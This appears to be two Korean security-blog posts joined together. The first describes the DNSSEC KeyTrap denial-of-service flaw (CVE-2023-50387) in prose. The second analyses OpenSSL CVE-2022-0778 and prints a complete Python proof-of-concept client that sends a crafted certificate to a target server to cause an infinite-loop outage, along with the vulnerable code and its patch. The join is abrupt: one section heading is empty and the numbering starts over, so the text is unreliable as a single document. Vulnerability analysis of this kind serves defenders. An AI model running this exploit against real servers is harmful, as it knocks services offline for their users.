- 독일 아테네국립응용사이버보안연구센터에서 DNS 보안 프로토콜 DNSSEC의 설계 결함을 악용한 KeyTrap (CVE-2023-50387)발견 [1] - 단일 DNS 패킷을 전송하여 서비스 거부를 유발할 수 있음 > 취약한 DNS의 경우 최소 170초에서 최대 16시간 동안 서비스 거부 발생
2. 주요내용
2.1 DNSSEC(Domain Name System Security Extension) [2][3]
- DNS는 도메인(hxxps://example[.]com)을 IP 주소(1.1.1.1)로 변환하는 역할 > 초기 설계시 보안성을 충분히 고려하지 못해 DNS 정보 위-변조가 가능하다는 문제 존재 Ex. DNS Cache Poisoning
- 기존 DNS 보안성을 강화하기 위해 공개키 암호화 방식의 보안기능을 추가한 DNSSEC(DNS Security Extensions) 도입 > DNS를 대체하는 것이 아님
2.2 KeyTrap(CVE-2023-50387) [4]
- DNSSEC 설계 결함으로 인해 DNS 서버에 서비스 거부를 유발할 수 있는 취약점 > DNSKEY 및 RRSIG 레코드가 여러개일 경우 프로토콜 사양에 따라 모든 조합에 대한 유효성 검사를 수행
- 취약점과 관련된 세 가지 DNSSEC 설계 문제 ① 여러 개의 서로 다른 DNS 키가 동일한 키 태그를 가질 수 있어 서명 유효성 검사 프로세스에 계산 부하 발생 가능 ② 서명을 성공적으로 검증하는 키를 찾거나 모든 키가 시도될 때까지 모든 키를 시도해야 하므로(가용성 보장 목적) 계산 부하 발생 가능 ③ 동일한 레코드에 여러 서명이 있는 경우 유효한 서명을 찾거나 모든 서명이 시도될 때까지 수신된 모든 서명을 검증해야 하므로, 계산 부하 발생 가능
- 영향받는 버전
2.2.1 SigJam (하나의 키 X 다수 서명)
- DNS Resolve가 하나의 DNS 키를 사용하여 DNS 레코드에 존재하는 다수의 유효하지 않은 서명을 검증하도록 유도 > DNS Resolve가 DNSKEY로 검증할 수 있는 서명을 찾을 때까지 모든 서명을 시도하도록 설계 됨 > 공격자는 단일 DNS 응답에 340개의 서명을 작성할 수 있음 > 340개의 서명에 대한 유효성 검증을 수행한 후 DNS Reolve는 클라이언트에 SERVFAIL를 반환
2.2.2 LockCram (다수의 키 X 하나의 서명)
- DNS Resolve가 ZSK DNSSEC키를 사용하여 DNS 레코드를 통해 하나의 서명을 검증하도록 유도 > DNS Resolve가 하나의 키가 검증되거나 모두 시도될 때까지 서명에 사용할 수 있는 모든 키를 시도하도록 설계 됨 > DNS Resolve는 서명을 검증하기 위해 모든 DNSSEC 키를 사용 > 해당 서명이 유효하지 않다고 결론을 내릴 때까지 서명이 참조하는 모든 키를 시도
2.2.3 KeySigTrap (다수의 키 X 다수의 서명)
- SigJam과 LockCram를 결합하여 검증 과정이 2배 증가하는 공격
> 모든 키와 서명 쌍이 검증될 때까지, 가능한 모든 조합에 대해 검증을 시도
Ex. 첫 번째 ZSK를 사용해 N개 서명을 검증한 후, 두 번째 ZSK를 사용해 N개 서명을 검증하여 N번째 ZSK를 사용해 N개 서명을 검증
> 모든 조합 시도 후 레코드를 검증할 수 없다는 결론을 내리고 클라이언트에 SERVFAIL를 반환
2.2.4 HashTrap (다수의 키 X 다수의 해시)
- 다수의 DS 해시 레코드에 대해 충동하는 다수의 DNSKEY를 검증하기 위해 많은 해시를 계산하도록 유도
3. 대응방안
- 벤더사 제공 패치 제공 > 현재까지 나온 패치는 임시 조치 > DNSSEC 설계를 처음부터 다시 해야 문제가 해결될 것
- DNSSEC 기능 비활성화시 취약점이 근본적으로 사라지나 권장하지 않음 > KeyTrap 취약점을 제외하면 DNSSEC로부터 얻는 안전의 이득이 훨씬 많음
- 조작된 패킷을 전송하여 OpenSSL 내 BN_mod_sqrt() 함수에서 연산 시 무한 루프로 인해 발생하는 서비스 거부 취약점
① 영향받는 버전 - OpenSSL 1.0.2 및 이전 버전 - OpenSSL 1.1.1 및 이전 버전 - OpenSSL 3.0 및 이전 버전
② 영향받는 상황 - 서버 인증서를 사용하는 TLS 클라이언트 - 클라이언트 인증서를 사용하는 TLS 서버 - 고객으로부터 인증서 또는 개인 키를 받는 호스팅 제공업체 - 인증 기관이 가입자의 인증 요청을 구문 분석 - ASN.1 타원 곡선 매개변수를 구문 분석하는 기타 모든 것 - 매개변수 값을 제어하는 BN_mod_sqrt()를 사용하는 OpenSSL 응용 프로그램
2.1 분석
-a, p에 대하여 r^2 = a ( nod p) 를 만족하는 r 을 modular 제곱근이라함
- BN_mod_sqrt()는 모듈러의 제곱근을 계산
※ 함수 위치 :bn_sqrt.c
※ Tonelli–Shanks 알고리즘을 이용해 modular 제곱근을 찾는 함수
- 해당 함수는 아래 형식의 인증서를 해석할 때 사용
① 인증서에 압축 형식의 타원 곡선 공개 키가 포함된 경우
② 압축 형식으로 부호화된 기점을 갖는 명시적 타원 곡선 매개변수를 포함하는 인증서
- b^(2^i) = 1 (mod p)를 만족하는 i를 찾는 과정에서 발생
- 매개변수 p가 소수여야 하지만 함수에 검사가 없으므로내부에 무한 루프가 발생할 수 있음
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
- 위 코드는 BN_mod_sqrt() 중 취약점이 발생하는 부분
① 고정된 e와 증가하는 i에 대해 해당 loop는 i == e인 시점에 알고리즘은 종료되어야 함
② 조작된 입력값을 통해 i=1, e=1 인 상태로 해당 loop에 진입 > 무한 loop가 발생
2.2 PoC
- PoC의 동작 순서는 다음과 같음
① ClientHello 메시지를 전송
② ServerHello 수신 및 Certificate_Request가 포함되어 있는지 확인
③ 이 경우 임의의(조작된) Certificate를 작성하고 DER 인코딩
※ DER(Distinguished Encoding Rules)
바이너리 형태로 인코딩한 포맷으로 확장자는 .der
der 을 인식할 수 있는 프로그램(ex. openssl 등)으로 파싱하거나 ASN.1 파서를 이용
④ 조작된 Certificate를 전송 및 서버에서 구문 분석 중 CVE-2022-0778 취약점(무한 루프로 인한 서비스 거부) 발생
from socket import socket, AF_INET, SOCK_STREAM
from tlslite import TLSConnection
from tlslite.constants import *
from tlslite.messages import CertificateRequest, HandshakeMsg
from tlslite.utils.codec import Writer
import argparse
class CraftedTLSConnection(TLSConnection):
def _clientKeyExchange(self, settings, cipherSuite,
clientCertChain, privateKey,
certificateType,
tackExt, clientRandom, serverRandom,
keyExchange):
if cipherSuite in CipherSuite.certAllSuites:
# Consume server certificate message
for result in self._getMsg(ContentType.handshake,
HandshakeType.certificate,
certificateType):
if result in (0, 1):
yield result
else:
break
if cipherSuite not in CipherSuite.certSuites:
# possibly consume SKE message
for result in self._getMsg(ContentType.handshake,
HandshakeType.server_key_exchange,
cipherSuite):
if result in (0, 1):
yield result
else:
break
# Consume Certificate request if any, if not bail
for result in self._getMsg(ContentType.handshake,
(HandshakeType.certificate_request,
HandshakeType.server_hello_done)):
if isinstance(result, CertificateRequest):
craftedCertificate = CraftedCertificate(certificateType)
craftedCertificate.create(open('crafted.crt', "rb").read())
for r in self._sendMsg(craftedCertificate):
yield r
print("Crafted Certificate msg sent, check server.")
exit(0)
else:
print("Server does not support TLS client authentication, nothing to do.")
exit(1)
class CraftedCertificate(HandshakeMsg):
def __init__(self, certificateType):
HandshakeMsg.__init__(self, HandshakeType.certificate)
self.certificateType = certificateType
self.certChain = None
self.der = bytearray(0)
def create(self, certBytes):
self.der = certBytes
def write(self):
w = Writer()
if self.certificateType == CertificateType.x509:
chainLength = len(self.der) + 3
w.add(chainLength, 3)
w.addVarSeq(self.der, 1, 3)
else:
raise AssertionError()
return self.postWrite(w)
def run(server, port):
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((server, port))
connection = CraftedTLSConnection(sock)
connection.handshakeClientCert()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Parameters')
parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost')
parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443)
args = parser.parse_args()
run(args.server, args.port)
3. 대응방안
① 최신 업데이트 적용
- i == e 를 종료 조건으로 가지는 for문으로 변경
패치코드
/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
/* If not found, a is not a square or p is not prime. */
if (i >= e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
영향 받는 버전
패치 버전
OpenSSL 1.0.2
OpenSSL 1.0.2zd
OpenSSL 1.1.1
OpenSSL 1.1.1n
OpenSSL 3.0
OpenSSL 3.0.2
※ OpenSSL 1.0.2 버전(Premium Level Support 사용자 제외) 및 1.1.0 버전은 더 이상 업데이트가 지원되지 않으니 OpenSSL 1.1.1n 또는 3.0.2 버전으로 변경할 것을 권고